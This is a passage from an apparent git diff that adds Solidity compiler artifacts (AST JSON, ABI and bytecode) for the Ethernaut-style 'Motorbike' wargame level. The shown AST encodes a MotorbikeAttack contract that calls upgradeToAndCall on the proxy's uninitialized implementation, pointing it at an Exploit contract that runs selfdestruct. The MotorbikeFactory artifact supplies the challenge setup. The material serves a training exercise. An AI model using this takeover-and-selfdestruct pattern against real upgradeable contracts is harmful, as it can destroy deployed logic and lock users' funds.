ition","src":"537:385:5","nodes":[],"body":{"id":911,"nodeType":"Block","src":"565:357:5","nodes":[],"statements":[{"assignments":[888],"declarations":[{"constant":false,"id":888,"mutability":"mutable","name":"exploit","nodeType":"VariableDeclaration","overrides":null,"scope":911,"src":"654:15:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"},"typeName":{"contractScope":null,"id":887,"name":"Exploit","nodeType":"UserDefinedTypeName","referencedDeclaration":934,"src":"654:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}},"value":null,"visibility":"internal"}],"id":892,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":890,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"672:11:5","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Exploit_$934_$","typeString":"function () returns (contract Exploit)"},"typeName":{"contractScope":null,"id":889,"name":"Exploit","nodeType":"UserDefinedTypeName","referencedDeclaration":934,"src":"676:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}}},"id":891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"672:13:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}},"nodeType":"VariableDeclarationStatement","src":"654:31:5"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":896,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"730:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"75706772616465546f416e6443616c6c28616464726573732c627974657329","id":899,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"799:33:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_4f1ef2866b98625bdfefae89411f7a82754ac4089eff8e78c8832329a538337f","typeString":"literal_string \"upgradeToAndCall(address,bytes)\""},"value":"upgradeToAndCall(address,bytes)"},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":902,"name":"exploit","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":888,"src":"842:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}],"id":901,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"834:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":900,"name":"address","nodeType":"ElementaryTypeName","src":"834:7:5","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"834:16:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":906,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"876:14:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":904,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"852:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":905,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"852:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"852:39:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f1ef2866b98625bdfefae89411f7a82754ac4089eff8e78c8832329a538337f","typeString":"literal_string \"upgradeToAndCall(address,bytes)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":897,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"758:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":898,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"758:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"758:147:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":893,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"696:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":895,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"696:20:5","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"696:219:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":910,"nodeType":"ExpressionStatement","src":"696:219:5"}]},"documentation":null,"functionSelector":"83197ef0","implemented":true,"kind":"function","modifiers":[],"name":"destroy","overrides":null,"parameters":{"id":885,"nodeType":"ParameterList","parameters":[],"src":"553:2:5"},"returnParameters":{"id":886,"nodeType":"ParameterList","parameters":[],"src":"565:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":923,"nodeType":"FunctionDefinition","src":"928:102:5","nodes":[],"body":{"id":922,"nodeType":"Block","src":"967:63:5","nodes":[],"statements":[{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":918,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"1007:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":916,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"988:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"988:18:5","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"988:34:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":915,"name":"Check","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":858,"src":"982:5:5","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_bool_$returns$__$","typeString":"function (bool)"}},"id":920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"982:41:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":921,"nodeType":"EmitStatement","src":"977:46:5"}]},"documentation":null,"functionSelector":"90aa6684","implemented":true,"kind":"function","modifiers":[],"name":"validateItIsBroken","overrides":null,"parameters":{"id":913,"nodeType":"ParameterList","parameters":[],"src":"955:2:5"},"returnParameters":{"id":914,"nodeType":"ParameterList","parameters":[],"src":"967:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"contractDependencies":[934],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[924],"name":"MotorbikeAttack","scope":935},{"id":934,"nodeType":"ContractDefinition","src":"1034:97:5","nodes":[{"id":933,"nodeType":"FunctionDefinition","src":"1057:72:5","nodes":[],"body":{"id":932,"nodeType":"Block","src":"1088:41:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"id":928,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1111:3:5","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":929,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"1111:10:5","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":927,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"1098:12:5","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1098:24:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":931,"nodeType":"ExpressionStatement","src":"1098:24:5"}]},"documentation":null,"functionSelector":"8129fc1c","implemented":true,"kind":"function","modifiers":[],"name":"initialize","overrides":null,"parameters":{"id":925,"nodeType":"ParameterList","parameters":[],"src":"1076:2:5"},"returnParameters":{"id":926,"nodeType":"ParameterList","parameters":[],"src":"1088:0:5"},"scope":934,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[934],"name":"Exploit","scope":935}],"license":"MIT"},"id":5} \ No newline at end of file diff --git a/contracts/out/MotorbikeFactory.sol/MotorbikeFactory.json b/contracts/out/MotorbikeFactory.sol/MotorbikeFactory.json new file mode 100644 index 000000000..383f5f858 --- /dev/null +++ b/contracts/out/MotorbikeFactory.sol/MotorbikeFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561001057600080fd5b50600061001b61006a565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061006e565b3390565b6110e98061007d6000396000f3fe60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c610482565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b0381358116916020013516610491565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b03166104bf565b6101576105e0565b6001600160a01b0316610168610482565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060405161022990610843565b604051809103906000f080158015610245573d6000803e3d6000fd5b50905060008160405161025790610850565b6001600160a01b03909116815260405190819003602001906000f080158015610284573d6000803e3d6000fd5b506001600160a01b03808216600090815260016020908152604091829020805493871673ffffffffffffffffffffffffffffffffffffffff19909416939093179092558051308184015281518082038401815281830180845281519190940120600484526064820190925260600180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167faf269745000000000000000000000000000000000000000000000000000000001790529192506103449083906105e4565b805190602001201461039d576040805162461bcd60e51b815260206004820152601660248201527f57726f6e67207570677261646572206164647265737300000000000000000000604482015290519081900360640190fd5b604080516103e8602080830191909152825180830382018152828401808552815191909201206004825260648301909352606090910180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f564f6d71000000000000000000000000000000000000000000000000000000001790526104229083906105e4565b805190602001201461047b576040805162461bcd60e51b815260206004820152601060248201527f57726f6e6720686f727365506f77657200000000000000000000000000000000604482015290519081900360640190fd5b9392505050565b6000546001600160a01b031690565b6001600160a01b0380831660009081526001602052604081205490916104b79116610626565b159392505050565b6104c76105e0565b6001600160a01b03166104d8610482565b6001600160a01b031614610533576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166105785760405162461bcd60e51b81526004018080602001828103825260268152602001806110686026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b606061047b83836040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564000081525061062c565b3b151590565b606061063b8484600085610643565b949350505050565b6060824710156106845760405162461bcd60e51b815260040180806020018281038252602681526020018061108e6026913960400191505060405180910390fd5b61068d85610626565b6106de576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061071d5780518252601f1990920191602091820191016106fe565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461077f576040519150601f19603f3d011682016040523d82523d6000602084013e610784565b606091505b509150915061079482828661079f565b979650505050505050565b606083156107ae57508161047b565b8251156107be5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108085781810151838201526020016107f0565b50505050905090810190601f1680156108355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6105498061085e83390190565b6102c180610da78339019056fe608060405234801561001057600080fd5b50610529806100206000396000f3fe60806040526004361061003f5760003560e01c80634f1ef28614610044578063564f6d71146100fc5780638129fc1c14610123578063af26974514610138575b600080fd5b6100fa6004803603604081101561005a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610169945050505050565b005b34801561010857600080fd5b5061011161017f565b60408051918252519081900360200190f35b34801561012f57600080fd5b506100fa610185565b34801561014457600080fd5b5061014d61025c565b604080516001600160a01b039092168252519081900360200190f35b610171610271565b61017b82826102d8565b5050565b60015481565b600054610100900460ff168061019e575061019e6103e4565b806101ac575060005460ff16155b6101e75760405162461bcd60e51b815260040180806020018281038252602e815260200180610499602e913960400191505060405180910390fd5b600054610100900460ff16158015610212576000805460ff1961ff0019909116610100171660011790555b6103e8600155600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163362010000021790558015610259576000805461ff00191690555b50565b6000546201000090046001600160a01b031681565b6000546201000090046001600160a01b031633146102d6576040805162461bcd60e51b815260206004820152600d60248201527f43616e2774207570677261646500000000000000000000000000000000000000604482015290519081900360640190fd5b565b6102e1826103f5565b80511561017b576000826001600160a01b0316826040518082805190602001908083835b602083106103245780518252601f199092019160209182019101610305565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610384576040519150601f19603f3d011682016040523d82523d6000602084013e610389565b606091505b50509050806103df576040805162461bcd60e51b815260206004820152600b60248201527f43616c6c206661696c6564000000000000000000000000000000000000000000604482015290519081900360640190fd5b505050565b60006103ef30610492565b15905090565b6103fe81610492565b6104395760405162461bcd60e51b815260040180806020018281038252602d8152602001806104c7602d913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3b15159056fe496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374a2646970667358221220554dd42a786d92c690d4f4524d0bf8c618f776bb922113b892b1bfff62a1d32a64736f6c634300060c0033608060405234801561001057600080fd5b506040516102c13803806102c18339818101604052602081101561003357600080fd5b5051610049816101d1602090811b61007017901c565b6100845760405162461bcd60e51b815260040180806020018281038252602d815260200180610294602d913960400191505060405180910390fd5b806100ae7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101d7565b80546001600160a01b039283166001600160a01b031990911617905560408051600481526024810182526020810180516001600160e01b031663204a7f0760e21b1781529151815160009486169382918083835b602083106101215780518252601f199092019160209182019101610102565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610181576040519150601f19603f3d011682016040523d82523d6000602084013e610186565b606091505b50509050806101ca576040805162461bcd60e51b815260206004820152600b60248201526a10d85b1b0819985a5b195960aa1b604482015290519081900360640190fd5b50506101da565b3b151590565b90565b60ac806101e86000396000f3fe60806040526048602d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc604a565b5473ffffffffffffffffffffffffffffffffffffffff16604d565b005b90565b3660008037600080366000845af43d6000803e808015606b573d6000f35b3d6000fd5b3b15159056fea2646970667358221220b0817095303c4d87a0b82073e0b2eb7f537bea3dc2aeb663a0e8d912b7b390b064736f6c634300060c0033455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e74726163744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6ca264697066735822122050edda3026db77ac1ef38be500b1013ba80708a9a7c350a5371cb8c7f35778e764736f6c634300060c0033","sourceMap":"169:1027:9:-:0;;;;;;;;;;;;-1:-1:-1;884:17:0;904:12;:10;:12::i;:::-;926:6;:18;;-1:-1:-1;;;;;;926:18:0;-1:-1:-1;;;;;926:18:0;;;;;;;959:43;;926:18;;-1:-1:-1;926:18:0;959:43;;926:6;;959:43;850:159;169:1027:9;;598:104:4;685:10;598:104;:::o;169:1027:9:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c610482565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b0381358116916020013516610491565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b03166104bf565b6101576105e0565b6001600160a01b0316610168610482565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060405161022990610843565b604051809103906000f080158015610245573d6000803e3d6000fd5b50905060008160405161025790610850565b6001600160a01b03909116815260405190819003602001906000f080158015610284573d6000803e3d6000fd5b506001600160a01b03808216600090815260016020908152604091829020805493871673ffffffffffffffffffffffffffffffffffffffff19909416939093179092558051308184015281518082038401815281830180845281519190940120600484526064820190925260600180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167faf269745000000000000000000000000000000000000000000000000000000001790529192506103449083906105e4565b805190602001201461039d576040805162461bcd60e51b815260206004820152601660248201527f57726f6e67207570677261646572206164647265737300000000000000000000604482015290519081900360640190fd5b604080516103e8602080830191909152825180830382018152828401808552815191909201206004825260648301909352606090910180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f564f6d71000000000000000000000000000000000000000000000000000000001790526104229083906105e4565b805190602001201461047b576040805162461bcd60e51b815260206004820152601060248201527f57726f6e6720686f727365506f77657200000000000000000000000000000000604482015290519081900360640190fd5b9392505050565b6000546001600160a01b031690565b6001600160a01b0380831660009081526001602052604081205490916104b79116610626565b159392505050565b6104c76105e0565b6001600160a01b03166104d8610482565b6001600160a01b031614610533576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166105785760405162461bcd60e51b81526004018080602001828103825260268152602001806110686026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b606061047b83836040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564000081525061062c565b3b151590565b606061063b8484600085610643565b949350505050565b6060824710156106845760405162461bcd60e51b815260040180806020018281038252602681526020018061108e6026913960400191505060405180910390fd5b61068d85610626565b6106de576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061071d5780518252601f1990920191602091820191016106fe565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461077f576040519150601f19603f3d011682016040523d82523d6000602084013e610784565b606091505b509150915061079482828661079f565b979650505050505050565b606083156107ae57508161047b565b8251156107be5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108085781810151838201526020016107f0565b50505050905090810190601f1680156108355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6105498061085e83390190565b6102c180610da78339019056fe608060405234801561001057600080fd5b50610529806100206000396000f3fe60806040526004361061003f5760003560e01c80634f1ef28614610044578063564f6d71146100fc5780638129fc1c14610123578063af26974514610138575b600080fd5b6100fa6004803603604081101561005a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610169945050505050565b005b34801561010857600080fd5b5061011161017f565b60408051918252519081900360200190f35b34801561012f57600080fd5b506100fa610185565b34801561014457600080fd5b5061014d61025c565b604080516001600160a01b039092168252519081900360200190f35b610171610271565b61017b82826102d8565b5050565b60015481565b600054610100900460ff168061019e575061019e6103e4565b806101ac575060005460ff16155b6101e75760405162461bcd60e51b815260040180806020018281038252602e815260200180610499602e913960400191505060405180910390fd5b600054610100900460ff16158015610212576000805460ff1961ff0019909116610100171660011790555b6103e8600155600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163362010000021790558015610259576000805461ff00191690555b50565b6000546201000090046001600160a01b031681565b6000546201000090046001600160a01b031633146102d6576040805162461bcd60e51b815260206004820152600d60248201527f43616e2774207570677261646500000000000000000000000000000000000000604482015290519081900360640190fd5b565b6102e1826103f5565b80511561017b576000826001600160a01b0316826040518082805190602001908083835b602083106103245780518252601f199092019160209182019101610305565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610384576040519150601f19603f3d011682016040523d82523d6000602084013e610389565b606091505b50509050806103df576040805162461bcd60e51b815260206004820152600b60248201527f43616c6c206661696c6564000000000000000000000000000000000000000000604482015290519081900360640190fd5b505050565b60006103ef30610492565b15905090565b6103fe81610492565b6104395760405162461bcd60e51b815260040180806020018281038252602d8152602001806104c7602d913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3b15159056fe496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374a2646970667358221220554dd42a786d92c690d4f4524d0bf8c618f776bb922113b892b1bfff62a1d32a64736f6c634300060c0033608060405234801561001057600080fd5b506040516102c13803806102c18339818101604052602081101561003357600080fd5b5051610049816101d1602090811b61007017901c565b6100845760405162461bcd60e51b815260040180806020018281038252602d815260200180610294602d913960400191505060405180910390fd5b806100ae7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101d7565b80546001600160a01b039283166001600160a01b031990911617905560408051600481526024810182526020810180516001600160e01b031663204a7f0760e21b1781529151815160009486169382918083835b602083106101215780518252601f199092019160209182019101610102565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610181576040519150601f19603f3d011682016040523d82523d6000602084013e610186565b606091505b50509050806101ca576040805162461bcd60e51b815260206004820152600b60248201526a10d85b1b0819985a5b195960aa1b604482015290519081900360640190fd5b50506101da565b3b151590565b90565b60ac806101e86000396000f3fe60806040526048602d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc604a565b5473ffffffffffffffffffffffffffffffffffffffff16604d565b005b90565b3660008037600080366000845af43d6000803e808015606b573d6000f35b3d6000fd5b3b15159056fea2646970667358221220b0817095303c4d87a0b82073e0b2eb7f537bea3dc2aeb663a0e8d912b7b390b064736f6c634300060c0033455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e74726163744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6ca264697066735822122050edda3026db77ac1ef38be500b1013ba80708a9a7c350a5371cb8c7f35778e764736f6c634300060c0033","sourceMap":"169:1027:9:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1717:145:0;;;;;;;;;;;;;:::i;:::-;;260:747:9;;;;;;;;;;;;;;;;-1:-1:-1;260:747:9;-1:-1:-1;;;;;260:747:9;;:::i;:::-;;;;-1:-1:-1;;;;;260:747:9;;;;;;;;;;;;;;1085:85:0;;;;;;;;;;;;;:::i;1013:181:9:-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;1013:181:9;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;2011:240:0;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2011:240:0;-1:-1:-1;;;;;2011:240:0;;:::i;1717:145::-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1823:1:::1;1807:6:::0;;1786:40:::1;::::0;-1:-1:-1;;;;;1807:6:0;;::::1;::::0;1786:40:::1;::::0;1823:1;;1786:40:::1;1853:1;1836:19:::0;;-1:-1:-1;;1836:19:0::1;::::0;;